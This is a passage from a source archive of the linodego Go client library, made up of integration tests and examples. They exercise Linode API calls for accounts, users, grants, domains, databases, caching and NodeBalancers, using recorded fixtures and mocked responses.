"fixtures/TestPayments_List") defer teardown() i, err := client.ListPayments(context.Background(), nil) if err != nil { t.Errorf("Error listing payments, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of payments, but got none %v", i) } } golang-github-linode-linodego-1.47.0/test/integration/account_settings_test.go000066400000000000000000000055251474652371000276640ustar00rootroot00000000000000package integration import ( "context" "encoding/json" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" "github.com/stretchr/testify/require" ) func TestAccountSettings_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountSettings") defer teardown() // Mocking the API response httpmock.Activate() defer httpmock.DeactivateAndReset() mockSettings := linodego.AccountSettings{ BackupsEnabled: true, Managed: true, NetworkHelper: true, LongviewSubscription: String("longview-3"), ObjectStorage: String("active"), } mockResponse, _ := json.Marshal(mockSettings) httpmock.RegisterResponder("GET", "https://api.linode.com/v4/account/settings", httpmock.NewStringResponder(200, string(mockResponse))) settings, err := client.GetAccountSettings(context.Background()) require.NoError(t, err, "Error getting Account Settings") require.True(t, settings.BackupsEnabled, "Expected BackupsEnabled to be true") require.True(t, settings.Managed, "Expected Managed to be true") require.True(t, settings.NetworkHelper, "Expected NetworkHelper to be true") require.NotNil(t, settings.LongviewSubscription, "Expected LongviewSubscription to be non-nil") require.Equal(t, "longview-3", *settings.LongviewSubscription, "Expected LongviewSubscription to be 'longview-3'") require.NotNil(t, settings.ObjectStorage, "Expected ObjectStorage to be non-nil") require.Equal(t, "active", *settings.ObjectStorage, "Expected ObjectStorage to be 'active'") } func TestAccountSettings_Update(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountSettings") defer teardown() // Mocking the API response httpmock.Activate() defer httpmock.DeactivateAndReset() opts := linodego.AccountSettingsUpdateOptions{ BackupsEnabled: Bool(false), LongviewSubscription: String("longview-10"), NetworkHelper: Bool(false), } mockSettings := linodego.AccountSettings{ BackupsEnabled: false, NetworkHelper: false, LongviewSubscription: String("longview-10"), } mockResponse, _ := json.Marshal(mockSettings) httpmock.RegisterResponder("PUT", "https://api.linode.com/v4/account/settings", httpmock.NewStringResponder(200, string(mockResponse))) settings, err := client.UpdateAccountSettings(context.Background(), opts) require.NoError(t, err, "Error updating Account Settings") require.False(t, settings.BackupsEnabled, "Expected BackupsEnabled to be false") require.False(t, settings.NetworkHelper, "Expected NetworkHelper to be false") require.NotNil(t, settings.LongviewSubscription, "Expected LongviewSubscription to be non-nil") require.Equal(t, "longview-10", *settings.LongviewSubscription, "Expected LongviewSubscription to be 'longview-10'") } func Bool(v bool) *bool { return &v } func String(v string) *string { return &v } golang-github-linode-linodego-1.47.0/test/integration/account_test.go000066400000000000000000000006411474652371000257360ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestAccount_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccount_Get") defer teardown() account, err := client.GetAccount(context.Background()) if err != nil { t.Errorf("Error getting Account, expected struct, got error %v", err) } if len(account.Email) < 1 { t.Error("Error accessing Account, expected Email") } } golang-github-linode-linodego-1.47.0/test/integration/account_transfer_test.go000066400000000000000000000022521474652371000276420ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/stretchr/testify/require" ) func TestAccountTransfer_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestAccountTransfer_Get") defer teardown() transfer, err := client.GetAccountTransfer(context.Background()) require.NoError(t, err, "Error getting Account Transfer, expected struct") require.NotEqual(t, 0, transfer.Billable, "Expected non-zero value for Billable") require.NotEqual(t, 0, transfer.Quota, "Expected non-zero value for Quota") require.NotEqual(t, 0, transfer.Used, "Expected non-zero value for Used") require.NotEmpty(t, transfer.RegionTransfers, "Expected to see region transfers") for _, regionTransfer := range transfer.RegionTransfers { require.NotEmpty(t, regionTransfer.ID, "Expected region ID to be non-empty") require.NotEqual(t, 0, regionTransfer.Billable, "Expected non-zero value for Billable in region %s", regionTransfer.ID) require.NotEqual(t, 0, regionTransfer.Quota, "Expected non-zero value for Quota in region %s", regionTransfer.ID) require.NotEqual(t, 0, regionTransfer.Used, "Expected non-zero value for Used in region %s", regionTransfer.ID) } } golang-github-linode-linodego-1.47.0/test/integration/account_user_grants_test.go000066400000000000000000000051311474652371000303510ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) func TestUserGrants_Update(t *testing.T) { username := usernamePrefix + "updateusergrants" client, _, teardown := setupUser(t, []userModifier{ func(createOpts *linodego.UserCreateOptions) { createOpts.Username = username createOpts.Email = usernamePrefix + "updateusergrants@example.com" createOpts.Restricted = true }, }, "fixtures/TestUserGrants_Update") defer teardown() accessLevel := linodego.AccessLevelReadOnly globalGrants := linodego.GlobalUserGrants{ AccountAccess: &accessLevel, AddDomains: false, AddDatabases: true, AddFirewalls: true, AddImages: true, AddLinodes: false, AddLongview: true, AddNodeBalancers: false, AddPlacementGroups: false, AddStackScripts: true, AddVolumes: true, AddVPCs: true, CancelAccount: false, } grants, err := client.UpdateUserGrants(context.TODO(), username, linodego.UserGrantsUpdateOptions{ Global: globalGrants, }) if err != nil { t.Fatalf("failed to get user grants: %s", err) } if !cmp.Equal(grants.Global, globalGrants) { t.Errorf("expected rules to match test rules, but got diff: %s", cmp.Diff(grants.Global, globalGrants)) } } func TestUserGrants_UpdateNoAccess(t *testing.T) { username := usernamePrefix + "updateusergrantsna" client, _, teardown := setupUser(t, []userModifier{ func(createOpts *linodego.UserCreateOptions) { createOpts.Username = username createOpts.Email = usernamePrefix + "updateusergrants@example.com" createOpts.Restricted = true }, }, "fixtures/TestUserGrants_UpdateNoAccess") defer teardown() globalGrants := linodego.GlobalUserGrants{ AccountAccess: nil, } grants, err := client.UpdateUserGrants(context.TODO(), username, linodego.UserGrantsUpdateOptions{ Global: globalGrants, }) if err != nil { t.Fatalf("failed to get user grants: %s", err) } if !cmp.Equal(grants.Global, globalGrants) { t.Errorf("expected rules to match test rules, but got diff: %s", cmp.Diff(grants.Global, globalGrants)) } // Ensure all grants are no access grantFields := [][]linodego.GrantedEntity{ grants.Domain, grants.Firewall, grants.Image, grants.Linode, grants.Longview, grants.NodeBalancer, grants.PlacementGroup, grants.StackScript, grants.Volume, grants.VPC, } for _, grantField := range grantFields { for _, grant := range grantField { if grant.Permissions != "" { t.Errorf("expected permissions to be nil, but got %s", grant.Permissions) } } } } golang-github-linode-linodego-1.47.0/test/integration/account_users_test.go000066400000000000000000000115141474652371000271600ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/google/go-cmp/cmp/cmpopts" "github.com/linode/linodego" . "github.com/linode/linodego" ) const usernamePrefix = "linodegotest-" var ignoreUserTimestampes = cmpopts.IgnoreFields(linodego.User{}, "PasswordCreated") type userModifier func(*linodego.UserCreateOptions) func TestUser_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestUser_GetMissing") defer teardown() i, err := client.GetUser(context.Background(), "does-not-exist") if err == nil { t.Errorf("should have received an error requesting a missing user, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing user, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing user, got %v", e.Code) } } func TestUser_Get_smoke(t *testing.T) { username := usernamePrefix + "getuser" email := usernamePrefix + "getuser@example.com" restricted := true client, _, teardown := setupUser(t, []userModifier{ func(createOpts *linodego.UserCreateOptions) { createOpts.Username = username createOpts.Email = email createOpts.Restricted = restricted }, }, "fixtures/TestUser_Get") defer teardown() user, err := client.GetUser(context.TODO(), username) if err != nil { t.Fatalf("failed to get user (%s): %s", username, err) } if user.Email != email { t.Errorf("expected user email to be %s; got %s", email, user.Email) } if len(user.SSHKeys) != 0 { t.Error("expected user to have no SSH keys") } if !user.Restricted { t.Error("expected user to be restricted") } if user.TFAEnabled { t.Error("expected TFA is disabled") } if user.VerifiedPhoneNumber != nil { t.Error("expected phone number is not set") } if user.UserType == "" { t.Errorf("expected user type, got none") } } func TestUser_Update(t *testing.T) { username := usernamePrefix + "updateuser" email := usernamePrefix + "updateuser@example.com" restricted := false client, user, teardown := setupUser(t, []userModifier{ func(createOpts *linodego.UserCreateOptions) { createOpts.Username = username createOpts.Email = email createOpts.Restricted = restricted }, }, "fixtures/TestUser_Update") defer teardown() updatedUsername := username + "-updated" restricted = true updateOpts := UserUpdateOptions{ Username: updatedUsername, Restricted: &restricted, } updated, err := client.UpdateUser(context.TODO(), username, updateOpts) if err != nil { t.Fatalf("failed to update user (%s): %s", username, err) } // update username to be deleted in teardown user.Username = updatedUsername if updated.Username != updatedUsername { t.Errorf("expected username to be %s; got %s", updatedUsername, updated.Username) } if !updated.Restricted { t.Error("expected user to be restricted") } } func TestUsers_List(t *testing.T) { username := usernamePrefix + "listuser" email := usernamePrefix + "listuser@example.com" restricted := false client, _, teardown := setupUser(t, []userModifier{ func(createOpts *linodego.UserCreateOptions) { createOpts.Username = username createOpts.Email = email createOpts.Restricted = restricted }, }, "fixtures/TestUsers_List") defer teardown() users, err := client.ListUsers(context.TODO(), nil) if err != nil { t.Fatalf("failed to get users: %s", err) } if len(users) == 0 { t.Fatalf("expected at least one user to be returned") } var newUser User for _, user := range users { if user.Username == username { newUser = user } } if newUser.Email != email { t.Errorf("expected user email to be %s; got %s", email, newUser.Email) } if len(newUser.SSHKeys) != 0 { t.Error("expected user to have no SSH keys") } if newUser.Restricted { t.Error("expected user to not be restricted") } if newUser.TFAEnabled { t.Error("expected TFA is disabled") } if newUser.VerifiedPhoneNumber != nil { t.Error("expected phone number is not set") } if newUser.UserType == "" { t.Errorf("expected user type, got none") } } func createUser(t *testing.T, client *linodego.Client, userModifiers ...userModifier) (*User, func()) { t.Helper() var createOpts UserCreateOptions for _, modifier := range userModifiers { modifier(&createOpts) } user, err := client.CreateUser(context.TODO(), createOpts) if err != nil { t.Fatalf("failed to create test user: %s", err) } return user, func() { if err := client.DeleteUser(context.TODO(), user.Username); err != nil { t.Errorf("failed to delete test user (%s): %s", user.Username, err) } } } func setupUser(t *testing.T, userModifiers []userModifier, fixturesYaml string) (*Client, *User, func()) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) user, teardown := createUser(t, client, userModifiers...) return client, user, func() { teardown() fixtureTeardown() } } golang-github-linode-linodego-1.47.0/test/integration/betas_test.go000066400000000000000000000023251474652371000254010ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestBetaPrograms_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestBetaPrograms_List") defer teardown() betas, err := client.ListBetaPrograms(context.Background(), &linodego.ListOptions{}) if err != nil { t.Errorf("Error getting Beta programs, expected struct, got error %v", err) } if len(betas) == 0 { t.Errorf("Expected to see beta program returned.") } else { assertDateSet(t, betas[0].Started) } } func TestBetaProgram_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestBetaProgram_Get") defer teardown() betaPrograms, err := client.ListBetaPrograms(context.Background(), linodego.NewListOptions(0, "")) if err != nil { t.Fatalf("error listing Beta program, %v", err) } if len(betaPrograms) == 0 { t.Skip("no beta program is available, skipping getting beta program test.") } betaID := betaPrograms[0].ID beta, err := client.GetBetaProgram(context.Background(), betaID) if err != nil { t.Errorf("Error getting Beta program, expected struct, got error %v", err) } if beta.ID != betaID { t.Errorf("expected beta ID to be %s; got %s", betaID, beta.ID) } } golang-github-linode-linodego-1.47.0/test/integration/cache_test.go000066400000000000000000000055651474652371000253570ustar00rootroot00000000000000package integration import ( "context" "strings" "sync/atomic" "testing" "time" "github.com/linode/linodego" ) func TestCache_RegionList(t *testing.T) { validateResult := func(r []linodego.Region, err error) { if err != nil { t.Fatal(err) } if len(r) == 0 { t.Fatalf("expected a list of regions - %v", r) } } client, teardown := createTestClient(t, "fixtures/TestCache_RegionList") defer teardown() // Collect request number totalRequests := int64(0) client.OnBeforeRequest(func(request *linodego.Request) error { page := request.QueryParam.Get("page") if !strings.Contains(request.URL, "regions") || page != "1" { return nil } atomic.AddInt64(&totalRequests, 1) return nil }) // Ensure that overrides work as intended client.SetGlobalCacheExpiration(0) // First request (no cache) validateResult(client.ListRegions(context.Background(), nil)) // Second request (cached) validateResult(client.ListRegions(context.Background(), nil)) // Clear cache client.InvalidateCache() // Third request (non-cached) validateResult(client.ListRegions(context.Background(), nil)) // Invalidate the region response if err := client.InvalidateCacheEndpoint("/regions"); err != nil { t.Fatal(err) } // Fourth request (non-cached) validateResult(client.ListRegions(context.Background(), nil)) // Fifth request (cache disabled) client.UseCache(false) validateResult(client.ListRegions(context.Background(), nil)) // Sixth request (cache disabled) validateResult(client.ListRegions(context.Background(), nil)) // Validate request count if totalRequests != 4 { t.Fatalf("expected 4 requests, got %d", totalRequests) } } func TestCache_Expiration(t *testing.T) { validateResult := func(r []linodego.LinodeKernel, err error) { if err != nil { t.Fatal(err) } if len(r) == 0 { t.Fatalf("expected a list of kernels - %v", r) } } client, teardown := createTestClient(t, "fixtures/TestCache_Expiration") defer teardown() // Collect request number totalRequests := int64(0) client.OnBeforeRequest(func(request *linodego.Request) error { page := request.QueryParam.Get("page") if !strings.Contains(request.URL, "kernels") || page != "1" { return nil } atomic.AddInt64(&totalRequests, 1) return nil }) // First request (no cache) validateResult(client.ListKernels(context.Background(), nil)) // Second request (cached) validateResult(client.ListKernels(context.Background(), nil)) // Entries should expire immediately client.SetGlobalCacheExpiration(0) // Third request (non-cached) validateResult(client.ListKernels(context.Background(), nil)) // Entries shouldn't expire client.SetGlobalCacheExpiration(time.Hour) // Fourth request (cached) validateResult(client.ListKernels(context.Background(), nil)) // Validate request count if totalRequests != 2 { t.Fatalf("expected 2 requests, got %d", totalRequests) } } golang-github-linode-linodego-1.47.0/test/integration/databases_test.go000066400000000000000000000055271474652371000262410ustar00rootroot00000000000000package integration import ( "context" "testing" "time" "github.com/google/go-cmp/cmp/cmpopts" "github.com/linode/linodego" ) var ignoreDatabaseTimestampes = cmpopts.IgnoreFields(linodego.Database{}, "Created", "Updated") func TestDatabase_Engine(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestDatabase_Engine") defer teardown() engines, err := client.ListDatabaseEngines(context.Background(), nil) if err != nil { t.Errorf("Failed to get list of Database Engines: %v", err) } if len(engines) <= 0 { t.Fatal("failed to get list of database engines") } engine := engines[0] response, err := client.GetDatabaseEngine(context.Background(), nil, engine.ID) if err != nil { t.Errorf("Failed to get one database Engine: %v", err) } if engine.Engine != response.Engine { t.Fatal("received engine does not match source") } } func TestDatabase_Type(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestDatabase_Type") defer teardown() types, err := client.ListDatabaseTypes(context.Background(), nil) if err != nil { t.Errorf("Failed to get list of Database Types: %v", err) } if len(types) <= 0 { t.Fatal("failed to get list of database Types") } aType := types[0] response, err := client.GetDatabaseType(context.Background(), nil, aType.ID) if err != nil { t.Errorf("Failed to get one database Type: %v", err) } if aType.Label != response.Label { t.Fatal("received type does not match source") } if response.Engines.MySQL[0].Quantity != aType.Engines.MySQL[0].Quantity { t.Fatalf("mismatched type quantity: %d, %d", response.Engines.MySQL[0].Quantity, aType.Engines.MySQL[0].Quantity) } } func TestDatabase_List(t *testing.T) { client, database, teardown, err := setupPostgresDatabase(t, nil, "fixtures/TestDatabase_List") if err != nil { t.Error(err) } defer teardown() dbs, err := client.ListDatabases(context.Background(), nil) if len(dbs) == 0 { t.Errorf("Expected a list of Databases, but got none: %v", err) } if err != nil { t.Errorf("Error listing Databases, expected struct, got error %v", err) } success := false for _, db := range dbs { if db.ID == database.ID { success = true } } if !success { t.Error("database not in database list") } } func waitForDatabaseUpdated(t *testing.T, client *linodego.Client, dbID int, dbType linodego.DatabaseEngineType, minStart *time.Time, ) { _, err := client.WaitForEventFinished(context.Background(), dbID, linodego.EntityDatabase, linodego.ActionDatabaseUpdate, *minStart, 1200) if err != nil { t.Fatalf("failed to wait for database update: %s", err) } // Sometimes the event has finished but the status hasn't caught up err = client.WaitForDatabaseStatus(context.Background(), dbID, dbType, linodego.DatabaseStatusActive, 120) if err != nil { t.Fatalf("failed to wait for database active: %s", err) } } golang-github-linode-linodego-1.47.0/test/integration/domain_records_test.go000066400000000000000000000077741474652371000273100ustar00rootroot00000000000000package integration import ( "context" "encoding/json" "testing" "github.com/linode/linodego" ) var testDomainRecordCreateOpts = linodego.DomainRecordCreateOptions{ Target: "127.0.0.1", Type: linodego.RecordTypeA, Name: "a", } func TestDomainRecord_Create_smoke(t *testing.T) { _, _, record, teardown, err := setupDomainRecord(t, "fixtures/TestDomainRecord_Create") defer teardown() if err != nil { t.Errorf("Error creating domain record, got error %v", err) } assertDateSet(t, record.Created) assertDateSet(t, record.Updated) expected := testDomainRecordCreateOpts // cant compare Target, fixture IPs are sanitized if record.Name != expected.Name || record.Type != expected.Type { t.Errorf("DomainRecord did not match CreateOptions") } } func TestDomainRecord_Update(t *testing.T) { client, domain, record, teardown, err := setupDomainRecord(t, "fixtures/TestDomainRecord_Update") defer teardown() if err != nil { t.Error(err) } assertDateSet(t, record.Created) assertDateSet(t, record.Updated) updateOpts := linodego.DomainRecordUpdateOptions{ Name: "renamed", } recordUpdated, err := client.UpdateDomainRecord(context.Background(), domain.ID, record.ID, updateOpts) if err != nil { t.Errorf("Error updating domain record, %s", err) } if recordUpdated.Name != "renamed" || record.Type != recordUpdated.Type || recordUpdated.Target != record.Target { t.Errorf("DomainRecord did not match UpdateOptions") } } func TestDomainRecords_List(t *testing.T) { client, domain, record, teardown, err := setupDomainRecord(t, "fixtures/TestDomainRecords_List") defer teardown() if err != nil { t.Error(err) } filter, err := json.Marshal(map[string]interface{}{ "name": record.Name, }) if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, string(filter)) records, err := client.ListDomainRecords(context.Background(), domain.ID, listOpts) if err != nil { t.Errorf("Error listing domains records, expected array, got error %v", err) } if len(records) != 1 { t.Errorf("Expected ListDomainRecords to match one result") } } func TestDomainRecords_ListMultiplePages(t *testing.T) { client, domain, record, teardown, err := setupDomainRecord(t, "fixtures/TestDomainRecords_ListMultiplePages") defer teardown() if err != nil { t.Error(err) } filter, err := json.Marshal(map[string]interface{}{ "name": record.Name, }) if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, string(filter)) records, err := client.ListDomainRecords(context.Background(), domain.ID, listOpts) if err != nil { t.Errorf("Error listing domains records, expected array, got error %v", err) } if len(records) != 1 { t.Errorf("Expected ListDomainRecords to match one result") } } func TestDomainRecord_Get(t *testing.T) { client, domain, record, teardown, err := setupDomainRecord(t, "fixtures/TestDomainRecord_Get") defer teardown() if err != nil { t.Error(err) } recordGot, err := client.GetDomainRecord(context.Background(), domain.ID, record.ID) if recordGot.Name != record.Name { t.Errorf("GetDomainRecord did not get the expected record") } if err != nil { t.Errorf("Error getting domain %d, got error %v", domain.ID, err) } } func setupDomainRecord(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.Domain, *linodego.DomainRecord, func(), error) { t.Helper() var fixtureTeardown func() client, domain, fixtureTeardown, err := setupDomain(t, fixturesYaml) if err != nil { t.Errorf("Error creating domain, got error %v", err) } createOpts := testDomainRecordCreateOpts record, err := client.CreateDomainRecord(context.Background(), domain.ID, createOpts) if err != nil { t.Errorf("Error creating domain record, got error %v", err) } teardown := func() { // delete the DomainRecord to exercise the code if err := client.DeleteDomainRecord(context.Background(), domain.ID, record.ID); err != nil { t.Errorf("Expected to delete a domain record, but got %v", err) } fixtureTeardown() } return client, domain, record, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/domains_test.go000066400000000000000000000072741474652371000257450ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) var testDomainCreateOpts = linodego.DomainCreateOptions{ Type: linodego.DomainTypeMaster, SOAEmail: "example@example.com", } func TestDomain_Create_smoke(t *testing.T) { _, domain, teardown, err := setupDomain(t, "fixtures/TestDomain_Create") defer teardown() if err != nil { t.Errorf("Error creating domain: %v", err) } // when comparing fixtures to random value Domain will differ if domain.SOAEmail != testDomainCreateOpts.SOAEmail { t.Errorf("Domain returned does not match domain create request") } } func TestDomain_Update(t *testing.T) { client, domain, teardown, err := setupDomain(t, "fixtures/TestDomain_Update") defer teardown() if err != nil { t.Error(err) } updateOpts := linodego.DomainUpdateOptions{ Domain: "linodego-renamed-domain.com", } domain, err = client.UpdateDomain(context.Background(), domain.ID, updateOpts) if err != nil { t.Errorf("Error renaming domain, %s", err) } else if domain.Domain != updateOpts.Domain { t.Errorf("Error renaming domain: Domain does not match") } } func TestDomains_List_smoke(t *testing.T) { client, _, teardown, err := setupDomain(t, "fixtures/TestDomains_List") defer teardown() if err != nil { t.Error(err) } domains, err := client.ListDomains(context.Background(), nil) if err != nil { t.Errorf("Error listing domains, expected struct, got error %v", err) } if len(domains) == 0 { t.Errorf("Expected a list of domains, but got %v", domains) } } func TestDomain_Get(t *testing.T) { client, domain, teardown, err := setupDomain(t, "fixtures/TestDomain_Get") defer teardown() if err != nil { t.Error(err) } _, err = client.GetDomain(context.Background(), domain.ID) if err != nil { t.Errorf("Error getting domain %d, expected *Domain, got error %v", domain.ID, err) } } func TestDomain_ZoneFile_Get(t *testing.T) { client, domain, teardown, err := setupDomain(t, "fixtures/TestDomain_ZoneFile_Get") defer teardown() if err != nil { t.Error(err) } _, err = client.GetDomainZoneFile(context.Background(), domain.ID) if err != nil { t.Errorf("failed to get domain zone file %d, expected *DomainZoneFile, got error %v", domain.ID, err) } } func setupDomain(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.Domain, func(), error) { t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) createOpts := testDomainCreateOpts createOpts.Domain = "linodego-blue-test.com" domain, err := client.CreateDomain(context.Background(), createOpts) if err != nil { t.Errorf("Error creating domain, expected struct, got error %v", err) } teardown := func() { if err := client.DeleteDomain(context.Background(), domain.ID); err != nil { t.Errorf("Expected to delete a domain, but got %v", err) } fixtureTeardown() } return client, domain, teardown, err } func TestDomain_Clone_smoke(t *testing.T) { client, domainToClone, teardown, err := setupDomain(t, "fixtures/TestDomain_Clone") if err != nil { t.Errorf("Error creating domain: %v", err) } domain, err := client.CloneDomain(context.Background(), domainToClone.ID, linodego.DomainCloneOptions{ Domain: "linodego-domain-clone.com", }) if err != nil { t.Errorf("Error cloning domain, expected struct, got error %v", err) } cloneTeardown := func() { if err := client.DeleteDomain(context.Background(), domain.ID); err != nil { t.Errorf("Expected to delete a domain, but got %v", err) } teardown() } defer cloneTeardown() // when comparing fixtures to random value Domain will differ if domain.SOAEmail != domainToClone.SOAEmail { t.Errorf("Domain returned does not match domain clone request") } } golang-github-linode-linodego-1.47.0/test/integration/example_integration_test.go000066400000000000000000000050061474652371000303400ustar00rootroot00000000000000package integration import ( "context" "fmt" "log" "math" "math/rand" "os" "strconv" ) var spendMoney = false func init() { // Trigger endpoints that accrue a balance apiToken, apiOk := os.LookupEnv("LINODE_TOKEN") spendMoney = spendMoney && apiOk var err error if err != nil { log.Fatal(err) } if !apiOk || len(apiToken) == 0 { log.Fatal("Could not find LINODE_TOKEN, please verify that it is set.") } // Wether or not we will walk example endpoints that cost money if envSpend, spendSet := os.LookupEnv("LINODE_SPEND"); apiOk && spendSet { if apiSpend, err := strconv.Atoi(envSpend); err == nil { log.Println("LINODE_SPEND being set to", apiSpend > 0) spendMoney = apiSpend > 0 } else { log.Fatalln("LINODE_SPEND should be an integer, 0 or 1") } } } func ExampleClient_GetAccount() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleGetAccount") defer teardown() account, err := linodeClient.GetAccount(context.Background()) if err != nil { log.Fatalln("* While getting account: ", err) } fmt.Println("Account has email:", len(account.Email) > 0) // Output: // Account has email: true } func ExampleClient_ListUsers() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListUsers") defer teardown() users, err := linodeClient.ListUsers(context.Background(), nil) if err != nil { log.Fatalln("* While getting users: ", err) } fmt.Println("User exists:", len(users) > 0) // Output: // User exists: true } const ( lowerBytes = "abcdefghijklmnopqrstuvwxyz" upperBytes = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" digits = "0123456789" symbols = "/-=+@#$^&*()~!`|[]{}\\?,.<>;:'" ) func randString(length int, characterClasses ...string) string { quotient := (0.0 + float64(length)) / float64(len(characterClasses)) if quotient != math.Trunc(quotient) { panic("length must be divisible by characterClasses count") } b := make([]byte, length) for i := 0; i < length; i += len(characterClasses) { for j, characterClass := range characterClasses { randPos := rand.Intn(len(characterClass)) b[i+j] = characterClass[randPos] } } for i := range b { j := rand.Intn(i + 1) b[i], b[j] = b[j], b[i] } return string(b) } func randPassword() string { return randString(64, lowerBytes, upperBytes, digits, symbols) } func randLabel() string { return randString(12, lowerBytes, digits) } golang-github-linode-linodego-1.47.0/test/integration/example_nodebalancers_test.go000066400000000000000000000143531474652371000306220ustar00rootroot00000000000000package integration import ( "context" "fmt" "log" "github.com/linode/linodego" ) func ExampleClient_CreateNodeBalancer() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleCreateNodeBalancer") defer teardown() fmt.Println("## NodeBalancer create") var nbID int nb := &linodego.NodeBalancer{ ClientConnThrottle: 20, Region: "us-southeast", } createOpts := nb.GetCreateOptions() nb, err := linodeClient.CreateNodeBalancer(context.Background(), createOpts) if err != nil { log.Fatal(err) } nbID = nb.ID fmt.Println("### Get") nb, err = linodeClient.GetNodeBalancer(context.Background(), nbID) if err != nil { log.Fatal(err) } updateOpts := nb.GetUpdateOptions() *updateOpts.Label += "_renamed" nb, err = linodeClient.UpdateNodeBalancer(context.Background(), nbID, updateOpts) if err != nil { log.Fatal(err) } fmt.Println("### Delete") if err := linodeClient.DeleteNodeBalancer(context.Background(), nbID); err != nil { log.Fatal(err) } // Output: // ## NodeBalancer create // ### Get // ### Delete } func ExampleClient_CreateNodeBalancerConfig() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleCreateNodeBalancerConfig") defer teardown() fmt.Println("## NodeBalancer create") clientConnThrottle := 20 nb, err := linodeClient.CreateNodeBalancer(context.Background(), linodego.NodeBalancerCreateOptions{ ClientConnThrottle: &clientConnThrottle, Region: "us-southeast", FirewallID: GetFirewallID(), }) if err != nil { log.Fatal(err) } fmt.Println("## NodeBalancer Config create") createOpts := linodego.NodeBalancerConfigCreateOptions{ Port: 80, /* Protocol: linodego.ProtocolHTTP, Algorithm: linodego.AlgorithmLeastConn, Stickiness: linodego.StickinessHTTPCookie, Check: linodego.CheckHTTP, CipherSuite: linodego.CipherRecommended, */ CheckTimeout: 5, CheckInterval: 30, CheckAttempts: 5, } nbc, err := linodeClient.CreateNodeBalancerConfig(context.Background(), nb.ID, createOpts) if err != nil { log.Fatal(err) } nbcID := nbc.ID fmt.Println("## NodeBalancer Config update") updateOpts := nbc.GetUpdateOptions() updateOpts.Port += 8000 nbc, err = linodeClient.UpdateNodeBalancerConfig(context.Background(), nb.ID, nbc.ID, updateOpts) if err != nil { log.Fatal(err) } fmt.Println("### List") configs, err := linodeClient.ListNodeBalancerConfigs(context.Background(), nb.ID, nil) if err != nil { log.Fatal(err) } fmt.Println("### Get") nbc, err = linodeClient.GetNodeBalancerConfig(context.Background(), nb.ID, configs[0].ID) if err != nil { log.Fatal(err) } fmt.Println("### Delete") if nbc.ID != nbcID { log.Fatalf("Unexpected Nodebalancer Config ID %d != %d", nbc.ID, nbcID) } if err := linodeClient.DeleteNodeBalancerConfig(context.Background(), nb.ID, nbc.ID); err != nil { log.Fatal(err) } if err := linodeClient.DeleteNodeBalancer(context.Background(), nb.ID); err != nil { log.Fatal(err) } // Output: // ## NodeBalancer create // ## NodeBalancer Config create // ## NodeBalancer Config update // ### List // ### Get // ### Delete } func ExampleClient_CreateNodeBalancerNode() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleCreateNodeBalancerNode") defer teardown() fmt.Println("## NodeBalancer create") clientConnThrottle := 20 nb, err := linodeClient.CreateNodeBalancer(context.Background(), linodego.NodeBalancerCreateOptions{ ClientConnThrottle: &clientConnThrottle, Region: "us-southeast", FirewallID: GetFirewallID(), }) if err != nil { log.Fatal(err) } fmt.Println("## NodeBalancer Config create") nbc, err := linodeClient.CreateNodeBalancerConfig(context.Background(), nb.ID, linodego.NodeBalancerConfigCreateOptions{ Port: 80, }) if err != nil { log.Fatal(err) } instanceOpts := linodego.InstanceCreateOptions{ Label: "nodebalancer-example-instance", RootPass: randPassword(), Region: "us-southeast", Type: "g6-nanode-1", Image: "linode/debian9", Booted: linodego.Pointer(false), FirewallID: GetFirewallID(), } instance, err := linodeClient.CreateInstance(context.Background(), instanceOpts) if err != nil { log.Fatal(err) } ip, err := linodeClient.AddInstanceIPAddress(context.Background(), instance.ID, false) if err != nil { log.Fatal(err) } fmt.Println("## NodeBalancer Node create") nodeOpts := linodego.NodeBalancerNodeCreateOptions{ Address: fmt.Sprintf("%s:%d", ip.Address, nbc.Port), Label: "node-" + ip.Address, } nbn, err := linodeClient.CreateNodeBalancerNode(context.Background(), nb.ID, nbc.ID, nodeOpts) if err != nil { log.Fatal(err) } nbnID := nbn.ID fmt.Println("## NodeBalancer Node update") updateOpts := nbn.GetUpdateOptions() updateOpts.Address = fmt.Sprintf("%s:8080", ip.Address) nbn, err = linodeClient.UpdateNodeBalancerNode(context.Background(), nb.ID, nbc.ID, nbn.ID, updateOpts) if err != nil { log.Fatal(err) } fmt.Println("### List") nodes, err := linodeClient.ListNodeBalancerNodes(context.Background(), nb.ID, nbc.ID, nil) if err != nil { log.Fatal(err) } 